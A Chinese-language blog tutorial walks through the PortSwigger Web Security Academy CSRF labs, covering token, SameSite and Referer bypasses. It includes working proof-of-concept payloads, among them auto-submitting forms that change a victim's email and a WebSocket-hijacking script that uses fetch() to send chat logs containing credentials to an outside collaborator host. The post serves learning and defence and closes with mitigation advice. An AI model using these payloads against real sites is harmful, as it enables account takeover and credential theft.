今天梨子要学习SSRF的姊妹篇,客户端请求伪造,CSRF,据说严重的CSRF漏洞也非常严重呢,快来看看能有多严重吧!
声明
该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。
本系列介绍
PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。
梨子有话说
梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。
客户端漏洞篇介绍
相对于服务器端漏洞篇,客户端漏洞篇会更加复杂,需要在我们之前学过的服务器篇的基础上去利用。
什么是CSRF?
CSRF全称为cross-site request forgery,译为跨站请求伪造。有的站点会采用同源策略,如果想要利用受害者身份去执行恶意操作需要攻击者诱使受害者提交那个恶意请求,也就是借刀杀人。
CSRF是如何运作的?
成功发动CSRF攻击有三个因素
一个相关的操作,即你想利用CSRF让受害者干什么,比如权限操作、修改数据等
基于cookie的会话处理,cookie是唯一能够通过document.cookie()函数直接获取到的可以用来进行会话处理的字段,所以要想成功发动CSRF需要那个应用程序仅通过cookie进行会话处理。
没有不可预测的参数,因为CSRF攻击是要提前构造请求的,所以如果需要填写一些不可预测的参数,如密码,就不能成功发动CSRF
假如某个应用程序存在一个功能点可以修改邮箱地址,会发出这样的请求
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
根据上面讲的三个要素,这个功能点是可以成功发动CSRF的,因为它可以执行攻击者感兴趣的操作(修改邮箱),然后仅通过cookie来进行会话处理,而且参数只有一个email,所以是可以成功发动CSRF的。这样我们就可以构造这样的CSRF页面去触发它。
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
当我们把这个CSRF页面投放到受害者那里时会因为document.forms[0].submit()自动提交一个POST表单请求,同时会自动使用受害者的Cookie发送,即表示由受害者自主提交的修改邮箱请求。
XSS和CSRF有什么区别?
XSS是可以允许攻击者在受害者浏览器执行任意JS脚本,而CSRF是允许攻击者诱使受害者执行他们本不打算执行的操作。相比之下,XSS的危害更大,因为XSS能够执行任意JS脚本,包括发送一些请求,而CSRF只能执行没有实施CSRF防护的功能。XSS可以将结果发送到远程服务器接收,而CSRF只能发出请求而已。
CSRF Token可以用来缓解XSS吗?
CSRF Token确实可以缓解一些XSS攻击,比如考虑这样的一个XSS payload
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
我们在引入了CSRF Token之后就可以用来缓解这样的XSS攻击
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
应用程序会验证CSRF Token,如果是无效的就会拒绝这个请求。但是CSRF Token不能缓解存储型XSS攻击。
如何构造一个CSRF攻击?
首先我们找到想要用来构造CSRF的请求,然后在burp中右键Engagement tools / Generate CSRF PoC,然后就会自动生成一个CSRF页面了。
配套靶场:无防护的CSRF漏洞
前面介绍过,我们需要先登录给定的用户抓取修改邮箱的请求包
我们看到这个功能还是很好用的,可以自动生成CSRF页面,然后我们将其复制到Exploit Server投放给受害者,就能成功修改其邮箱地址了。
如何传递一个CSRF利用页面?
在XSS专题中其实我们已经有所提及了,img会自动向src属性指定的域名发出请求,有的应用程序允许通过发送GET请求修改邮箱地址,所以我们可以将src设置为带有GET参数的CSRF URL,当加载该img时即会触发CSRF。例如这样:
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
常见的对抗CSRF的防御措施
如今,成功找到并利用CSRF漏洞通常需要绕过目标网站、对方浏览器或两者部署的反CSRF措施。我们遇到的最常见的防御措施有这些:
CSRF token - CSRF token是由服务器端应用生成并与客户端共享的唯一不可预测的值。当尝试执行敏感操作(例如提交表单)时,客户端必须在请求中包含正确的CSRF token。这就让用户的每一次操作后不能单纯通过重放数据包的方式重复该操作,接收到CSRF利用页面的受害者也是如此。
SameSite cookie - SameSite是一种浏览器安全机制,用于确定何时将网站的cookie包含在来自其他网站的请求中。由于执行敏感操作的请求通常携带经过身份验证的会话cookie,因此适当的SameSite限制可能会阻止攻击者跨站触发这些操作。自2021年起,Chrome默认实施Lax的SameSite限制。但是目前不是所有的浏览器都采用这一策略,但后续可能会逐步跟进。
基于Referer验证 - 有的网站会验证Referer头,判断请求是否是从当前域发出的,但是这种防御措施没有CSRF token有效。
绕过CSRF token验证
什么是CSRF Token?
CSRF Token是一个唯一的、保密的、不可预测的字符串,它由服务器端生成然后包含在后续的请求中。当服务器端接收到请求后会验证CSRF Token,如果其已经失效则会拒绝该请求。这就打破了可以成功构造CSRF的三个因素了,即参数不可预测,所以可以用来缓解CSRF攻击。
常见的CSRF token验证中的缺陷
依赖请求方法的CSRF token验证
有的应用系统仅会验证POST请求中的CSRF Token,但是不会验证GET请求下的,这时候会跳过验证
配套靶场:依赖请求方法验证token的CSRF
首先我们将正常修改邮箱请求中的CSRF Token去掉观察一下会发生什么
看到会提示缺少参数,但是如果我们右键change request method将POST请求转换成GET请求再观察一下
发现居然不需要CSRF Token参数就可以,说明我们成功发动了CSRF
依赖token是否存在的CSRF token验证
有的应用系统仅会在请求中存在CSRF Token的情况下对其进行验证,如果不存在该参数则不会进行验证
配套靶场:依赖token是否存在验证token的CSRF
知识点讲的很清楚,当我们去掉请求中的CSRF Token参数时即不会验证该字段
发现可以成功发动CSRF
CSRF Token未与用户会话绑定
有的应用系统仅会验证CSRF Token的有效性,而不会验证该Token是否属于当前用户,即不会与用户会话绑定
配套靶场:token未与用户会话绑定的CSRF
因为CSRF Token未与用户会话绑定,所以我们只需要一个有效的CSRF Token就可以,于是我们登录测试用户,然后抓取修改邮箱的请求包,制作成CSRF页面,再将这个包丢掉,将这个页面利用Exploit Server投放给受害者。
因为CSRF Token是有效的,所以是可以成功发动CSRF的
CSRF Token与非会话cookie绑定
有的应用系统虽然将CSRF Token与Cookie中某个参数值绑定了,但是并没有与session这个Cookie参数绑定,这样还是会导致CSRF Token与绑定的参数组合可以被任意用户用于请求。
在构造CSRF POC有一个比较有趣的操作,需要在用burp生成CSRF链接的时候将自动提交标签改成img标签,将提交表单事件设置在onerror属性中,将利用CLRF注入Cookie的页面设置在src属性中。(注:应用Set-Cookie参数值注入Cookie)
配套靶场:token与非会话cookie绑定的CSRF
首先我们修改一下cookie中的session,观察一下
发现修改了session以后只是会提示未登录,那么我们修改一下csrfKey参数的值呢
说明CSRF Token并未与session绑定,而是与csrfKey绑定的,根据cookie的传递性,我们可以在其他页面提前把csrfKey注入进去,这里我们利用img与onerror组合的XSS以及CLRF技术来构造CSRF
当受害者点击CSRF链接时会先触发CLRF注入Set-Cookie参数值将csrfKey值添加到Cookie中,然后再用附有与csrfKey对应的CSRF Token的请求去提交修改邮箱请求
CSRF Token单纯被复制到cookie中
有的应用程序偷工减料,仅将CSRF Token单纯地复制到cookie头中,然后仅验证两者是否一致,这样很容易通过验证
配套靶场:token被复制到cookie中的CSRF
经过测试,使用测试用户提交的修改邮箱请求中的CSRF Token可以无限次使用,所以我们直接由此构造CSRF页面
将该页面投放到受害者之后即可触发CSRF
绕过SameSite cookie限制
SameSite是一种浏览器安全机制,用于确定网站的cookie什么时候要包含在来自其他网站的请求中。通常来说,SameSite cookie可以用于防止像CSRF、跨站点泄漏、还有一些CORS之类的跨站攻击。
2021年开始,如果使用cookie的网站未明确设置自己的限制级别,chrome浏览器会默认应用Lax SameSite限制。可能未来其他主流浏览器也会通过这种方式增强安全性吧。因此我们有必要牢牢掌握这些限制的工作原理,以及它们可能被绕过的方式,以便能彻底地测试跨站的攻击向量。
什么是以SameSite cookie为上下文的网站?
在SameSite cookie限制的上下文中,站点被定义为顶级域(top-level domain,缩写为TLD),类似于.com
、.net
之类的,再加上一层额外的域名,通常成为TLD+1。
在确定请求是否为同一站点时,还要考虑URL shceme也要考虑进去。这就意味着从http://app.example.com到https://app.example.com的链接会被大多数浏览器识别为跨站点。
还有一个术语叫有效顶级域(effective top-level domain,缩写为eTLD),这只是一种考虑保留的多部分后缀的方法,比如像.co.uk这种的,也会被视为顶级域。
站(site)和源(origin)之间有什么区别?
站和源之间的区别在于他们的范围:一个站包含多个域名,而一个源仅包含一个。尽管他们密切相关,但是还是要注意区分,不要弄混淆了,不然混为一谈可能会产生严重的安全隐患。
如果两个URL使用完全相同scheme、域名和端口,则它们会被认为具有相同的源,尽管如此,需要注意的是端口通常是从scheme中推断出来的。
从这个示例中可以看出,术语"站"的具体性要低很多,因为它仅说明scheme和域名的最后一部分。重要的是,这意味着跨源请求仍可以认为是同站的,但是反过来就不行
从 | 到 | 同站? | 同源? |
---|---|---|---|
https://example.com | https://example.com | 是 | 是 |
https://app.example.com | https://intranet.example.com | 是 | 否:域名不匹配 |
https://example.com | https://example.com:8080 | 是 | 否:端口不匹配 |
https://example.com | https://example.co.uk | 否:eTLD不匹配 | 否:域名不匹配 |
https://example.com | http://example.com | 否:scheme不匹配 | 否:scheme不匹配 |
这是一个重要的区别,因为它意味着任何允许任意javascript执行的漏洞都可能被滥用以绕过属于同站的其他域上的基于站的防御。
SameSite是如何工作的?
在引入SameSite机制之前,浏览器会在每个请求中将cookie发送到发出它们的域,即使该请求是由不相关的第三方网站触发的。SmaeSite的工作原理就是让浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定的cookie。这有助于减少用户遭受CSRF攻击的风险,CSRF攻击会诱使受害者的浏览器发出请求,从而在易受攻击的网站上触发有害操作。由于这些请求通常需要与受害者的经过身份验证的会话相关联的cookie,因此如果浏览器不包含此信息,则攻击不会生效。
目前所有主流浏览器都支持以下SameSite限制级别:
Strict
Lax
None
开发人员可以为他们设置的每个cookie手动配置限制级别,使他们能够更好地控制什么时候使用这些cookie。为此,他们只需在Set-Cookie响应头中包含SameSite属性及其首选值:
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict
尽管这提供了一些针对CSRF攻击的保护,但这些限制都不能提供有保障的免疫力。
如果提供cookie的网站没有明确设置SameSite属性,Chrome默认会自动应用Lax限制。这意味着cookie仅在满足特定条件的跨站点请求中发送,即使开发人员从未配置此行为。但是这是一项拟议的新标准,并不是所有的浏览器都默认采用这种行为。
Strict(严格级别)
如果使用SameSite=Strict属性设置cookie,浏览器将不会在任何跨站请求中发送它。这就意味着如果请求的目标站与浏览器地址栏中当前显示的站不匹配则不会包含cookie。
在设置使持有者能够修改数据或执行其他敏感操作的cookie时,建议设置为这种限制级别,例如访问仅对经过身份验证的用户可用的特定页面。
虽然这是最安全的选项,但在需要跨站点功能的情况下,它可能会对用户体验产生负面影响。
Lax(宽松级别)
Lax级别的SameSite限制意味着浏览器将在跨站请求中带着cookie,但是需要同时满足以下两个条件:
使用GET请求。
请求由用户的顶级导航触发,如点击链接操作。
这就意味着cookie不会包含在跨站的POST请求中。由于POST请求通常用于执行修改数据或状态的操作,所以它们更有可能被用来发动CSRF攻击。
同样的,cookie也不会包含在后台请求中,如由脚本、iframe或对图像等其他资源的引用发起的请求。
None(无限制)
如果使用SameSite=None属性设置cookie,这将有效地完全禁用SameSite限制,而不管浏览器是什么。浏览器将在所有发送到发出它的站点的请求中发送此cookie,即使是那些由完全不相关的第三方站点触发的请求。
除了Chrome之外,如果在设置cookie时没有提供SameSite属性,这是主要浏览器使用的默认行为。
禁用SameSite是有正当理由的,例如当cookie旨在从第三方上下文中使用并且不授予持有者访问任何敏感数据或功能的权限时。追踪cookie就是一个典型的例子。
如果您遇到设置了SameSite=None或没有明确限制的cookie,则值得研究它是否有用。当 Chrome首次采用"Lax-by-default(默认即Lax)"行为时,这具有破坏许多现有网络功能的副作用。作为一种快速解决方法,一些网站选择简单地禁用对所有cookie的SameSite限制,包括可能敏感的cookie。
使用SameSite=None设置cookie时,网站还必须包含Secure属性,以确保cookie仅通过HTTPS在加密消息中发送。否则,浏览器将拒绝该cookie,并且它不会被设置。差不多长这样:
Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure
使用GET请求绕过Lax级别的SameSite限制
在实践中,服务器对它们接收到的指向指定端点的是GET还是POST请求并不总是那么挑剔,即使是本来是一个提交表单的操作。如果它们也对其会话cookie使用Lax级别的限制,无论是明确的还是由于浏览器的默认设置,我们仍然可以通过从受害者的浏览器引发GET请求来执行CSRF攻击。
只要请求涉及顶级导航,浏览器仍然会带着受害者的会话cookie,下面是发起这类攻击最简单的方法之一:
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
即使不允许常规的GET请求,一些框架也提供了覆盖请求行中指定方法的方法。如Symfony支持表单中的_method参数,它优先于用于路由目的的常规方法:
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
<input type="hidden" name="_method" value="GET">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
其他框架也有支持的各种类似的参数。
配套靶场:通过方法覆盖绕过Lax级别的SameSite限制
还是修改邮箱处存在CSRF漏洞,只不过这次SameSite是Lax级别的。我们需要将POST请求想办法覆盖成GET请求才能绕过。我们发现直接将修改邮箱的POST请求切换成GET请求会提示"Method Not Allowed"
但是我们加一个_method参数就可以了,像这样:
GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
于是我们就可以去Eploit Server的body中这样构造POC:
<script>
document.location = "https://[靶机ID].web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
保存并点击发送给受害者,成功绕过Lax限制修改邮箱,解题成功!
使用站内利用链绕过SameSite限制
如果使用SameSite=Strict属性设置cookie,浏览器将不会将其包含在任何跨站请求中。如果我们可以在同一站内找到一个导致二次请求的利用链,则我们可能会绕过此限制。
一种可能的利用链是客户端重定向,它使用攻击者可控的输入(如URL参数)动态构建重定向目标。这里大家可以移步基于DOM漏洞专题中关于开放重定向的内容了解细节。
就浏览器而言,这些客户端重定向根本不是真正的重定向;生成的请求仅被视为普通的独立请求。最重要的是,这是一个同站请求,因此,将包括与该站点相关的所有cookie,而不管是否存在任何限制。
如果您可以操纵此利用链来引发恶意的二次请求,则可以让我们完全绕过任何SameSite cookie限制。
请注意,服务器端重定向不可能进行等效攻击。在这种情况下,浏览器识别到追随重定向的请求最初是由跨站请求引起的,因此它们仍然应用适当的cookie限制。
配套靶场:通过客户端重定向绕过strict级别的SameSite限制
题目说的是修改邮箱功能点是存在csrf漏洞的,但是它设置了strict级别的SameSite限制,所以我们就要想办法绕过。从题目来看我们肯定是要找一个重定向去绕过,于是我们发现发表评论功能会触发302重定向。
然后我们发现控制重定向的代码在commentConfirmationRedirect.js中:
redirectOnConfirmation = (blogPath) => {
setTimeout(() => {
const url = new URL(window.location);
const postId = url.searchParams.get("postId");
window.location = blogPath + '/' + postId;
}, 3000);
}
所以我们跟踪一下这个重定向,并尝试修改postId参数,看看会发生什么。
我们发现postId参数指定的字符串会被设置为返回博客功能点跳转的地址,那它就可以通过搭配目录穿越符实现任意路径跳转,比如/../../my-account
,但是因为修改邮箱的请求是post的,所以我们要转成get的:
/my-account/change-email?email=caros%40normal-user.net&submit=1
然后我们去Exploit Server的body中构造:
<script>
document.location = "https://[靶机ID].web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
然后保存并点击发送给受害者,解题成功!成功绕过限制csrf修改邮箱。
通过易受攻击的兄弟域绕过SameSite限制
这里有一个点要知道,即使请求是跨源(cross-origin)发出的,但是它们仍然可以是同站的。
我们要关注所有可用的攻击面,包括任何同级域。特别是能够引发任意二次请求的漏洞(如XSS)可以完全破坏基于站的防御,使站的所有域暴露于跨站攻击。
除了经典的CSRF,不要忘记如果目标网站支持WebSocket,还可能容易受到跨站WebSocket劫持(CSWSH)攻击,其实就是针对WebSocket握手的CSRF攻击。可以移步WebSocket专题了解详情。
配套靶场:通过兄弟域绕过strict级别的SameSite限制
这一道题涉及到Websocket相关的漏洞,所以如果还没看那个专题的可以先跳过哦。题目说的是在线聊天功能点存在跨站WebSocket劫持(CSWSH)漏洞,我们的目标就是将聊天记录发送到burp collaborator上从而获取到对方的账号密码。我们先找到这个聊天功能,然后随便发些消息,看看这个过程中会产生什么。我们发现点击发送以后会触发一个/chat
请求发起Websocket请求。
随便发点什么消息后我们在WebSockets History里就能看到确实有交互,一条一条的。
然后我们就来验证一下它是否有CSWSH漏洞,首先我们把burp collaborator打开,复制一条临时地址出来,然后到Exploit Server的body里写这样的payload:
<script>
var ws = new WebSocket('wss://[靶机ID].web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://[burp collaborator临时地址]', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
然后保存并点击view exploit,发现我们在collaborator接收到了发送过来的websocket请求。
虽然确认是存在CSWSH漏洞的,但是我们发现它只是会起一个全新的会话,这对我们的目标毫无帮助。因为SameSite现在是strict级别,所以在开起会话的时候并不会带着cookie。那我们就得找找同站有没有其他漏洞。我们发现有些请求(shop.svg、chat.js)的响应中会带有一个Access-Control-Allow-Origin头,它的值和靶机属于同站的不同域名。
我们尝试访问一下这个兄弟域,发现它是个登录口。
我们尝试随便输入点什么账号密码,发现用户名会返回在前端,那我们猜测它可能存在xss漏洞。
果然有,那我们就可以拿它来尝试带cookie发动CSWSH攻击了。经过测试发现,将含有XSS payload的请求转换为GET请求仍然可以成功触发,所以我们就确定它可以用于实现同站带cookie发动CSWSH攻击了。这次我们需要构造的payload就有点长了,首先我们把上一次尝试CSWSH的代码整个做个URL编码,然后塞到这个含有XSS漏洞的兄弟域的URL中:
<script>
document.location = "https://cms-[靶机ID].web-security-academy.net/login?username=[整个做了URL编码的CSWSH代码]&password=[随便写]";
</script>
好家伙,这么老长,看到没,这才叫XSS!然后我们保存并点击发送给受害者,不一会我们就获取到了他们的聊天记录,里面有账号密码。
登陆成功,成功解题!这道题还是非常有意思的。
使用新发布的cookie绕过Lax级别的SameSite限制
采用Lax级别的SameSite限制的Cookie通常不会在任何跨站POST请求中发送,但也有一些例外。
前面讲过,如果网站在设置cookie时不包含SameSite属性,chrome默认会自动应用Lax限制。但是为了避免破坏单点登录(SSO)机制,它实际上并没有在顶级POST请求的前120秒强制执行这些限制。所以我们有两分钟的时间窗口向用户发动跨站攻击。
当然了,这种例外仅限于未设置SameSite属性的情况,不适用于指定SameSite=Lax的场景。
但是尝试在这个短窗口内发动攻击有点不切实际。另一方面,如果我们可以在站点上找到一个可以强制向受害者发出新的会话cookie的利用链,我们就可以在跟进主要攻击之前先发制人地刷新他们的cookie。比如,完成基础OAuth的登录流程可能每次都会产生一个新会话,因为OAuth服务不确定用户是否还在登录到目标站点。
要在受害者无需再次手动登录的情况下触发cookie刷新,我们需要使用顶级导航,以确保包含与当前OAuth会话关联的cookie。这里难度就加大了,因为我们还要将用户重定向回我们指定的站点,以便我们发动CSRF攻击。
或者我们可以从新选项卡触发cookie刷新,这样浏览器就不会在发动最终攻击之前离开页面。但是这里有个小麻烦就是浏览器会阻止弹出选项卡。比如下面的弹窗就默认会被浏览器屏蔽:
window.open('https://vulnerable-website.com/login/sso');
为了解决这个问题,我们可以将语句包装在onclick事件处理程序中,如下所示:
window.onclick = () => {
window.open('https://vulnerable-website.com/login/sso');
}
这样,window.open()方法仅在用户单击页面某处时被调用。
配套靶场:通过cookie刷新绕过Lax级别的SameSite限制
还是修改邮箱,但是本题是应用了OAuth的。我们先尝试发动CSRF攻击,时间窗口只有120秒,如果超过了120秒才发动攻击则不会成功,需要重复进行一次OAuth过程。那么我们怎么赶在120秒内发动攻击呢。我们注意到,如果访问/social-login则会自动启动完整的OAuth流程,如果此时已经有一个OAuth会话的话,这个过程会在无感知的情况下进行。然后我们还发现每次完成OAuth流程都会生成一个新的会话cookie,不管现在是否是登录状态。现在我们到Eploit Server,在body中写一个js代码,以使用户访问时会强制访问/social-login来刷新会话,然后经过短暂的暂停以后执行修改邮箱的操作,POC如下:
<form method="POST" action="https://[靶机ID].web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
window.open('https://[靶机ID].web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
但是还有个问题,因为只有120秒的窗口,浏览器阻止弹窗的话攻击就失败了,所以我们接下来要绕过对弹窗的屏蔽。前面有讲过,利用onclick事件诱使受害者手动点击,就不会被拦截弹窗了,POC如下:
<form method="POST" action="https://[靶机ID].web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://[靶机ID].web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
我们把这段poc写到Eploit Server的body中,保存并点击发送给受害者,成功绕过限制修改邮箱,解题成功,真的太好玩了!
绕过基于Referer的CSRF防护措施
依赖头部是否存在的Referer验证
这种验证手段与之前的类似,即Referer存在即验证,不存在即不验证,通过以下模板来构造CSRF页面
<meta name="referrer" content="no-referrer">
配套靶场:依赖头部是否存在的Referer验证
与前面的CSRF验证类似,只不过CSRF页面语句不太一样
这样就不会自动在请求中加入referer字段,从而绕过验证
可以被绕过的Referer验证
有的时候仅验证Referer头中是否包含预期域名,而不验证是否有其他不可信域名在里面,所以我们可以构造这样奇葩的URL
http://vulnerable-website.com.attacker-website.com/csrf-attack
http://attacker-website.com/csrf-attack?vulnerable-website.com
有的浏览器会将Referer中的查询字符串拆出来,所以我们可以添加Referrer-Policy: unsafe-url这样的头部字段以保证不会被拆出来
配套靶场:有缺陷的Referer验证的CSRF
这里我们需要介绍一下history.pushState,这个函数顾名思义,就是插入历史记录的,所以这也就是为什么第三个参数的值修改为与攻击链接同源后即可绕过错误地Referer头验证机制,所以我们这样构造CSRF页面
这样我们就可以绕过验证Referer来发动CSRF了
如何防范CSRF漏洞?
使用CSRF token
防范CSRF攻击的最可靠方法是在相关请求中包含CSRF token。token必须满足以下条件:
通常对于会话令牌,应是高熵且不可预测
与用户会话绑定
在执行相关操作之前,每种情况都经过严格验证。
CSRF Token应该怎样生成?
CSRF Token应该具有高度地不可预测性,可以使用高强度的伪随机数生成器(PRNG),并且以时间戳加上静态密钥作为其种子。如果想要更高的不可预测性,我们可以将随机数与用户的个人标识信息组合,然后再整体做一个哈希处理。
CSRF Token应该怎样传输?
一般情况,服务器会通过隐藏字段传输给客户端,然后在提交表单的时候自动加进去。在XSS专题中我们介绍了利用悬挂标记攻击获取CSRF Token的攻击手段,所以我们应该把该字段放在表单最前面。并且尽量不要以GET请求参数和请求标头的方式传输。
CSRF Token应该怎样验证?
应该在服务器端建立CSRF Token与用户会话的绑定关系,当接收到某个请求时,验证请求中的CSRF Token是否与所绑定的用户会话匹配,不匹配则拒绝该请求。
使用Strict级别的SameSite cookie限制
除了实施强大的CSRF token验证之外,梨子建议对发出的每个cookie明确设置自己的SameSite限制。这样做,可以准确控制cookie将在哪些上下文中使用,而不管浏览器是什么。
即使所有浏览器最终都采用"默认Lax"策略,这并不适合所有cookie,并且比严格限制更容易被绕过。同时,不同浏览器之间的不一致也意味着只有一部分用户会从SameSite保护中受益。
理想情况下,我们应该默认使用"Strict"策略,然后仅在有充分理由时才将其降低为"Lax"。除非完全意识到安全隐患,否则切勿使用SameSite=None解除SameSite限制。
警惕跨源(origin)、同站(site)攻击
尽管正确配置的SameSite限制可以很好地防止跨站攻击,但重要的是要清楚它们对于跨源、同站攻击完全无效。
如果可能,梨子建议将不安全内容(例如用户上传的文件)与任何敏感功能或数据隔离在单独的站点上。测试站点时,请务必彻底审核属于同一站点的所有可用攻击面,包括其任何同级域。
总结
以上就是梨子去上PortSwigger网络安全学院系列之客户端漏洞篇 - 跨站请求伪造(CSRF)专题的全部内容啦,本专题主要讲了CSRF的形成原理、与XSS的区别、如何构造、下发、防护以及绕过CSRF token验证、SameSite cookie限制、基于Referer的CSRF防护以及防范手段,感兴趣的同学可以在评论区和梨子进行讨论哦,嘻嘻嘻。